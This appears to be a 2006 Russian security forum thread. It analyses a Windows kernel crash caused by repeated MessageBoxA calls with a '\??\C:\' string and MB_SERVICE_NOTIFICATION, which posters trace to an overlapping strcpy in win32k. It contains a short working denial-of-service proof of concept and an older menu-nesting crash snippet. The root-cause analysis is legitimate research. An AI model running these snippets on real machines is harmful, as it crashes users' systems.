Легенда:
новое сообщение
закрытая нитка
новое сообщение
в закрытой нитке
старое сообщение
|
- Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
- Новичкам также крайне полезно ознакомиться с данным документом.
| |
[расковырял] надо будет поковырять будет под дебагом 19.12.06 21:45 Число просмотров: 23299
Автор: Killer{R} <Dmitry> Статус: Elderman Отредактировано 19.12.06 23:36 Количество правок: 5
|
Но чтото мне подсказывает что это был какой то быстрокривохак для замены пути NT-style выводимого MessageBox'м каким то сервисом на win32, причем в коде win32k.sys, а сам сервис ковырять никто не хотел почемуто :)
[РАСКОВЫРЯЛ жуя апельсину] обошелся сырцами винды :)
Функция GetHardErrorText
Первое что поразило - длина функции почти 700 строк Сшного кода :))
Коммент:
* This function figures out the message box title, text and flags.
* We want to do this up front so we can log this error when the hard error is
* raised. Previously we used to log it after the user had dismissed the message
* box -- but that was not when the error occurred (DCR Bug 107590)
Функция занимается тем что находит в тексте месаг бокса строчки типа "{EXCEPTION}" и если таковые есть - чтото еще оттуда выдирает и пишет в системный лог. Прямо из MessageBox'а! Воистину мега-криво-хак :)
} else if ((asLocal.Length > 4) && !_strnicmp(asLocal.Buffer, "\\??\\", 4)) {
strcpy( asLocal.Buffer, asLocal.Buffer+4 );// когда strcpy не было сильно заоптимизированным это наверно работало :))))
asLocal.Length -= 4;
А у MB_SERVICE_NOTIFICATION ноги растут потому что дебрях винды MB_SERVICE_NOTIFICATION месагбокс с эмулируется через NtRaiseHardError :))
Помнится NT убивал нижеследующий код. Вот что называется перенесли кривоподелие user32 в ядро...
HMENU hMenu = CreatePopupMenu();
HMENU hMenu1 = CreatePopupMenu();
AppendMenu(hMenu1,MF_STRING, 1, "1");
AppendMenu(hMenu1,MF_STRING, 2, "2");
AppendMenu(hMenu1,MF_STRING, 3, "3");
InsertMenu(hMenu,1,MF_POPUP|MF_STRING,(UINT)hMenu1,"1");
InsertMenu(hMenu,2,MF_POPUP|MF_STRING,(UINT)hMenu1,"2");
InsertMenu(hMenu,3,MF_POPUP|MF_STRING,(UINT)hMenu1,"3");
InsertMenu(hMenu,4,MF_POPUP|MF_STRING,(UINT)hMenu1,"4");
InsertMenu(hMenu,5,MF_POPUP|MF_STRING,(UINT)hMenu1,"5");
InsertMenu(hMenu,6,MF_POPUP|MF_STRING,(UINT)hMenu1,"6");
|
<operating systems>
|
Убиение винды :( 19.12.06 15:19
Автор: Killer{R} <Dmitry> Статус: Elderman Отредактировано 19.12.06 15:22 Количество правок: 1
|
#include <Windows.h>
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
char bug [] = "\\??\\C:\\";
for(int i = 0; i < 10; i ++)::MessageBoxA(0, bug, bug, MB_SERVICE_NOTIFICATION);
return 0;
}
(c) http://security.nnov.ru/Gnews944.html
XP, XPx64,, Vista - BSOD после N'ного мессагбокса или просто глюки. Работает хоть из под гостя. Иногда правда не с первого раз.
Самое забавное что мессагбокс показывает совершенно другой текст. Причем по китайски :)
|
|
во дают =))) 20.12.06 10:27
Автор: noonv <Vladimir> Статус: Member
|
|
|
О, сколько нам открытий чудных, хранят в себе ещё исходники венды... -)) 20.12.06 05:52
Автор: HandleX <Александр М.> Статус: The Elderman
|
|
|
Прикольно :) Мабуть китайские братья постарались. 19.12.06 20:25
Автор: Fighter <Vladimir> Статус: Elderman
|
|
|
Работает :-) 19.12.06 19:37
Автор: amirul <Serge> Статус: The Elderman
|
|
| |
[расковырял] надо будет поковырять будет под дебагом 19.12.06 21:45
Автор: Killer{R} <Dmitry> Статус: Elderman Отредактировано 19.12.06 23:36 Количество правок: 5
|
Но чтото мне подсказывает что это был какой то быстрокривохак для замены пути NT-style выводимого MessageBox'м каким то сервисом на win32, причем в коде win32k.sys, а сам сервис ковырять никто не хотел почемуто :)
[РАСКОВЫРЯЛ жуя апельсину] обошелся сырцами винды :)
Функция GetHardErrorText
Первое что поразило - длина функции почти 700 строк Сшного кода :))
Коммент:
* This function figures out the message box title, text and flags.
* We want to do this up front so we can log this error when the hard error is
* raised. Previously we used to log it after the user had dismissed the message
* box -- but that was not when the error occurred (DCR Bug 107590)
Функция занимается тем что находит в тексте месаг бокса строчки типа "{EXCEPTION}" и если таковые есть - чтото еще оттуда выдирает и пишет в системный лог. Прямо из MessageBox'а! Воистину мега-криво-хак :)
} else if ((asLocal.Length > 4) && !_strnicmp(asLocal.Buffer, "\\??\\", 4)) {
strcpy( asLocal.Buffer, asLocal.Buffer+4 );// когда strcpy не было сильно заоптимизированным это наверно работало :))))
asLocal.Length -= 4;
А у MB_SERVICE_NOTIFICATION ноги растут потому что дебрях винды MB_SERVICE_NOTIFICATION месагбокс с эмулируется через NtRaiseHardError :))
Помнится NT убивал нижеследующий код. Вот что называется перенесли кривоподелие user32 в ядро...
HMENU hMenu = CreatePopupMenu();
HMENU hMenu1 = CreatePopupMenu();
AppendMenu(hMenu1,MF_STRING, 1, "1");
AppendMenu(hMenu1,MF_STRING, 2, "2");
AppendMenu(hMenu1,MF_STRING, 3, "3");
InsertMenu(hMenu,1,MF_POPUP|MF_STRING,(UINT)hMenu1,"1");
InsertMenu(hMenu,2,MF_POPUP|MF_STRING,(UINT)hMenu1,"2");
InsertMenu(hMenu,3,MF_POPUP|MF_STRING,(UINT)hMenu1,"3");
InsertMenu(hMenu,4,MF_POPUP|MF_STRING,(UINT)hMenu1,"4");
InsertMenu(hMenu,5,MF_POPUP|MF_STRING,(UINT)hMenu1,"5");
InsertMenu(hMenu,6,MF_POPUP|MF_STRING,(UINT)hMenu1,"6");
|
| | |
Самое интересное не рассказали! 19.12.06 22:56
Автор: ыыы Статус: Незарегистрированный пользователь
|
Вы же самое интересное не рассказали.
> } else if ((asLocal.Length > 4) && > !_strnicmp(asLocal.Buffer, "\\??\\", 4)) { > strcpy( asLocal.Buffer, asLocal.Buffer+4); > asLocal.Length -= 4;
Этот код после if выполняется, если вопросительных знаков нет, и длина больше четырех -- то есть в обычном случае. Значит, к выпадению он отношения не имеет. А что же там после else? Падать должно там.
> > А у MB_SERVICE_NOTIFICATION ноги растут потому что дебрях > винды MB_SERVICE_NOTIFICATION месагбокс с эмулируется через > NtRaiseHardError :)) > > Помнится NT убивал нижеследующий код. Вот что называется > перенесли кривоподелие user32 в ядро... > HMENU hMenu = CreatePopupMenu(); > HMENU hMenu1 = CreatePopupMenu(); > AppendMenu(hMenu1,MF_STRING, 1, "1"); > AppendMenu(hMenu1,MF_STRING, 2, "2"); > AppendMenu(hMenu1,MF_STRING, 3, "3"); > InsertMenu(hMenu,1,MF_POPUP|MF_STRING,(UINT)hMenu1,"1"); > InsertMenu(hMenu,2,MF_POPUP|MF_STRING,(UINT)hMenu1,"2"); > InsertMenu(hMenu,3,MF_POPUP|MF_STRING,(UINT)hMenu1,"3"); > InsertMenu(hMenu,4,MF_POPUP|MF_STRING,(UINT)hMenu1,"4"); > InsertMenu(hMenu,5,MF_POPUP|MF_STRING,(UINT)hMenu1,"5"); > InsertMenu(hMenu,6,MF_POPUP|MF_STRING,(UINT)hMenu1,"6");
|
| | | |
[UPD] Все рассказали :) 19.12.06 23:06
Автор: Killer{R} <Dmitry> Статус: Elderman Отредактировано 19.12.06 23:20 Количество правок: 1
|
чисто ликбез: _strnicmp возвращает 0 при равенстве строк
Просто по документации strcpy: The behavior of strcpy is undefined if the source and destination strings overlap.
|
| | | | |
А, понял. 19.12.06 23:22
Автор: ыыы Статус: Незарегистрированный пользователь
|
> чисто ликбез: _strnicmp возвращает 0 при равенстве строк
Действительно. Получается, что вылетает strcpy( asLocal.Buffer, asLocal.Buffer+4);
а исходного кода strcpy у вас случайно нет? :)
Интересно же, как ее надо было оптимизировать, чтобы она вылетела.
|
| | | | | |
исходники strcpy можно посмотреть в вижаке. 20.12.06 14:08
Автор: NKritsky <Nickolay A. Kritsky> Статус: Elderman
|
|
|
весело ) 19.12.06 15:52
Автор: !mm <Ivan Ch.> Статус: Elderman
|
|
|
|